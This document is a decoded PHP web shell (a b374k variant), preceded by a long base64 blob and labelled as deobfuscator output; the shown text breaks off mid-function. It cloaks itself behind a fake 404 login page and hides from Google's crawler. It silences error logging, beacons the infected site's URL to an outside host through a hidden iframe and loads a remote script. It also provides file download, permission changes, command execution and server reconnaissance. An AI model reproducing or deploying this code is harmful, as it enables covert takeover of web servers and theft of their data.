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";
eval /* PHPDeobfuscator eval output */ {
$site = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
echo "<iframe style='display:none; height: 0; width:0;' src='https://spamshell.xyz/write.php?get={$site}'></iframe>";
/* (Web Shell b374k r3c0d3d by x'1n73ct|default pass:" 1n73ction ") */
$auth_pass = "9c80a1eaca699e2fc6b994721f8703bc";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', "/var/www/html/1n73ctionshell.php.7e39cc29b3ef7cbbb19cffcc06c2e038.bin");
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if (get_magic_quotes_gpc()) {
function stripslashes_array($array)
{
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin()
{
?>
<SCRIPT SRC=http://w0rms.com/sayac.js></SCRIPT>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?php
echo $_SERVER['HTTP_HOST'];
?> Port 80</address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<form method=post>
<input type=password name=pass>
</form></center>
<?php
exit;
}
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
if (empty($auth_pass) || isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) {
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
} else {
printLogin();
}
}
@ini_set('log_errors', 0);
@ini_set('output_buffering', 0);
if (isset($_GET['dl']) && $_GET['dl'] != "") {
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: " . strlen($filez));
header("Content-disposition: attachment; filename=\"" . basename($file) . "\";");
echo $filez;
exit;
} elseif (isset($_GET['dlgzip']) && $_GET['dlgzip'] != "") {
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip\n");
header("Content-length: " . strlen($filez));
header("Content-disposition: attachment; filename=\"" . basename($file) . ".gz\";");
echo $filez;
exit;
}
// view image
if (isset($_GET['img'])) {
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d . $f);
$ext = explode($f, ".");
$ext = $ext[count($ext) - 1];
@header("Content-type: " . $inf["mime"]);
@header("Cache-control: public");
@header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
@header("Cache-control: max-age=604800");
@readfile($d . $f);
exit;
}
// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
$safemode = TRUE;
} else {
$safemode = FALSE;
}
// uname -a
$system = @php_uname();
// mysql
function showstat($stat)
{
if ($stat == "on") {
return "<b><font style='color:#00FF00'>ON</font></b>";
} else {
return "<b><font style='color:#DD4736'>OFF</font></b>";
}
}
function testmysql()
{
if (function_exists('mysql_connect')) {
return showstat("on");
} else {
return showstat("off");
}
}
function testcurl()
{
if (function_exists('curl_version')) {
return showstat("on");
} else {
return showstat("off");
}
}
function testwget()
{
if (exe('wget --help')) {
return showstat("on");
} else {
return showstat("off");
}
}
function testperl()
{
if (exe('perl -h')) {
return showstat("on");
} else {
return showstat("off");
}
}
// check os
if (strtolower(substr($system, 0, 3)) == "win") {
$win = TRUE;
} else {
$win = FALSE;
}
// change directory
if (isset($_GET['y'])) {
if (@is_dir($_GET['view'])) {
$pwd = $_GET['view'];
@chdir($pwd);
} else {
$pwd = $_GET['y'];
@chdir($pwd);
}
}
//hdd
function convertByte($s)
{
if ($s >= 1073741824) {
return sprintf('%1.2f', $s / 1073741824) . ' GB';
} elseif ($s >= 1048576) {
return sprintf('%1.2f', $s / 1048576) . ' MB';
} elseif ($s >= 1024) {
return sprintf('%1.2f', $s / 1024) . ' KB';
} else {
return $s . ' B';
}
}
// username, id, shell prompt and working directory
if (!$win) {
if (!($user = rapih(exe("whoami")))) {
$user = "";
}
if (!($id = rapih(exe("id")))) {
$id = "";
}
$prompt = $user . " \$ ";
$pwd = @getcwd() . DIRECTORY_SEPARATOR;
} else {
$user = @get_current_user();
$id = $user;
$prompt = $user . " >";
$pwd = realpath(".") . "\\";
// find drive letters
$v = explode("\\", $d);
$v = $v[0];
foreach (range("A", "Z") as $letter) {
$bool = @is_dir($letter . ":\\");
if ($bool) {
$letters .= "<a href=\"?y=" . $letter . ":\\\">[ ";
if ($letter . ":" != $v) {
$letters .= $letter;
} else {
$letters .= "<span class=\"gaya\">" . $letter . "</span>";
}
$letters .= " ]</a> ";
}
}
}
function testoracle()
{
if (function_exists('ocilogon')) {
return showstat("on");
} else {
return showstat("off");
}
}
function testmssql()
{
if (function_exists('mssql_connect')) {
return showstat("on");
} else {
return showstat("off");
}
}
function showdisablefunctions()
{
if ($disablefunc = @ini_get("disable_functions")) {
return "<span style='color:'><font color=#DD4736><b>" . $disablefunc . "</b></font></span>";
} else {
return "<span style='color:#00FF1E'><b>NONE</b></span>";
}
}
if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) {
$posix = TRUE;
} else {
$posix = FALSE;
}
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id = $_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "b374k";
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR, $pwd);
$pwdurl = "";
for ($i = 0; $i < sizeof($pwds) - 1; $i++) {
$pathz = "";
for ($j = 0; $j <= $i; $j++) {
$pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=" . $pathz . "\">" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
}
// rename file or folder
if (isset($_POST['rename'])) {
$old = $_POST['oldname'];
$new = $_POST['newname'];
@rename($pwd . $old, $pwd . $new);
$file = $pwd . $new;
}
if (isset($_POST['chmod'])) {
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value) == 3) {
$value = "0" . $value;
}
@chmod($pwd . $name, octdec($value));
$file = $pwd . $name;
}
if (isset($_POST['chmod_folder'])) {
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value) == 3) {
$value = "0" . $value;
}
@chmod($pwd . $name, octdec($value));
$file = $pwd . $name;
}
// print useful info
$buff = "Software : <b>" . $software . "</b><br />";
$buff .= "System OS : <b>" . $system . "</b><br />";
if ($id != "") {
$buff .= "ID : <b>" . $id . "</b><br />";
}
$buff .= "PHP Version : <b>" . phpversion() . "</b> on <b>" . php_sapi_name() . "</b><br />";
$buff .= "Server ip : <b>" . $server_ip . "</b> <span class=\"gaya\"> | </span> Your ip : <b>" . $my_ip . "</b><span class=\"gaya\"> | </span> Admin : <b>" . $admin_id . "</b><br />";
$buff .= "Free Disk: <span style='color:#00FF1E'><b>" . convertByte(disk_free_space("/")) . " / " . convertByte(disk_total_space("/")) . "</b></span><br />";
if ($safemode) {
$buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
} else {
$buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
}
$buff .= "Disabled Functions: " . showdisablefunctions() . "<br />";
$buff .= "MySQL: " . testmysql() . " | MSSQL: " . testmssql() . " | Oracle: " . testoracle() . " | Perl: " . testperl() . " | cURL: " . testcurl() . " | WGet: " . testwget() . "<br>";
$buff .= "<font color=00ff00 ><b>" . $letters . " > " . $pwdurl . "</b></font>";
function rapih($text)
{
return trim(str_replace("<br />", "", $text));
}
function magicboom($text)
{
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd, $prompt)
{
$fname = array();
$dname = array();
if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) {
$posix = TRUE;
} else {
$posix = FALSE;
}
$user = "????:????";
if ($dh = @scandir($pwd)) {
foreach ($dh as $file) {
if (is_dir($file)) {
$dname[] = $file;
} elseif (is_file($file)) {
$fname[] = $file;
}
}
} else {
if ($dh = @opendir($pwd)) {
while ($file = @readdir($dh)) {
if (@is_dir($file)) {
$dname[] = $file;
} elseif (@is_file($file)) {
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR, $pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "\r\n\t<form action=\"?y=" . $pwd . "&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">\r\n\t<table class=\"cmdbox\" style=\"width:50%;\">\r\n\t<tr><td><b>{$prompt}</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>\r\n\t</form>\r\n\t<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">\r\n\t<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />\r\n\t<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"" . $pwd . "\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>\r\n\t</form></table><table class=\"explore\">\r\n\t<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>\r\n\t";
if ($tree > 2) {
for ($i = 0; $i < $tree - 2; $i++) {
$parent .= $path[$i] . DIRECTORY_SEPARATOR;
}
} else {
$parent = $pwd;
}
foreach ($dname as $folder) {
if ($folder == ".") {
if (!$win && $posix) {
$name = @posix_getpwuid(@fileowner($folder));
$group = @posix_getgrgid(@filegroup($folder));
$owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
} else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=" . $pwd . "\">{$folder}</a></td><td>LINK</td>\r\n\t\t\t<td style=\"text-align:center;\">" . $owner . "</td><td><center>" . get_perms($pwd) . "</center></td>\r\n\t\t\t<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\">\r\n\t\t\t<a href=\"?y={$pwd}&edit=" . $pwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>\r\n\t\t\t<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t\t<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />\r\n\t\t\t<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />\r\n\t\t\t</form></td>\r\n\t\t\t\r\n\t\t\t</tr>\r\n\t\t\t";
} elseif ($folder == "..") {
if (!$win && $posix) {
$name = @posix_getpwuid(@fileowner($folder));
$group = @posix_getgrgid(@filegroup($folder));
$owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
} else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=" . $parent . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> {$folder}</a></td><td>LINK</td>\r\n\t\t\t<td style=\"text-align:center;\">" . $owner . "</td>\r\n\t\t\t<td><center>" . get_perms($parent) . "</center></td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>\r\n\t\t\t<td><span id=\"titik2\"><a href=\"?y={$pwd}&edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>\r\n\t\t\t<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t\t<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />\r\n\t\t\t<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />\r\n\t\t\t</form>\r\n\t\t\t</td></tr>";
} else {
if (!$win && $posix) {
$name = @posix_getpwuid(@fileowner($folder));
$group = @posix_getgrgid(@filegroup($folder));
$owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
} else {
$owner = $user;
}
